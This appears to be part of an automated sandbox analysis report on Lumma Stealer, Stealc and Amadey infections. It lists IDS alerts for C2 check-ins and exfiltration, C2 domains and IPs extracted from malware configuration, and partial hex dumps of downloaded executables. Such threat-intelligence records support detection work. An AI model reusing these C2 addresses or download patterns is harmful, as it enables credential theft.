Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49984 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49987 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50000 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50002 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50004 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50007 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50009 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50010 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50018 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:59219 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:56803 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:60677 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50020 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:60283 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50023 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:50022
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50028 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50029 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50031 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50035 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50037 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:59266 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:58806 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:52260 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50042 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50045 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50026 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:57904 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50039 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50041 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50047 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50049 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50051 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:60739 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50055 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.7:50054 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50014 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50059 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50063 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50073 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50067 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49980 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49980 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49984 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49998 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49998 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50000 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50000 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49995 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50023 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50023 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49978 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49978 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:50028 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50020 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50020 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50042 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50042 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50045 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50045 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50063 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:34:04 GMTContent-Type: application/octet-streamContent-Length: 2126336Last-Modified: Fri, 01 Nov 2024 10:53:58 GMTConnection: keep-aliveETag: "6724b346-207200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 72 00 00 04 00 00 52 52 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 63 70 79 77 70 6d 6f 00 d0 19 00 00 a0 58 00 00 c2 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 68 6c 61 72 66 68 6a 00 10 00 00 00 70 72 00 00 04 00 00 00 4c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 72 00 00 22 00 00 00 50 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:34:09 GMTContent-Type: application/octet-streamContent-Length: 2937856Last-Modified: Fri, 01 Nov 2024 10:53:44 GMTConnection: keep-aliveETag: "6724b338-2cd400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 e0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 30 00 00 04 00 00 17 5f 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 64 70 71 61 76 78 79 00 20 2a 00 00 b0 05 00 00 18 2a 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6c 6d 6b 6b 77 70 79 00 10 00 00 00 d0 2f 00 00 06 00 00 00 ac 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 2f 00 00 22 00 00 00 b2 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:34:29 GMTContent-Type: application/octet-streamContent-Length: 2797568Last-Modified: Fri, 01 Nov 2024 11:31:00 GMTConnection: keep-aliveETag: "6724bbf4-2ab000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 4b 2e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 69 65 6a 76 75 71 63 00 60 2a 00 00 a0 00 00 00 50 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 70 6b 68 66 68 69 78 00 20 00 00 00 00 2b 00 00 04 00 00 00 8a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 8e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:34:33 GMTContent-Type: application/octet-streamContent-Length: 1884672Last-Modified: Fri, 01 Nov 2024 10:54:05 GMTConnection: keep-aliveETag: "6724b34d-1cc200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 5d 8d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 64 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 70 6c 75 63 7a 63 62 00 b0 19 00 00 c0 30 00 00 a6 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 76 65 75 63 69 70 66 00 10 00 00 00 70 4a 00 00 04 00 00 00 9c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4a 00 00 22 00 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:34:58 GMTContent-Type: application/octet-streamContent-Length: 1933824Last-Modified: Fri, 01 Nov 2024 11:31:21 GMTConnection: keep-aliveETag: "6724bc09-1d8200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 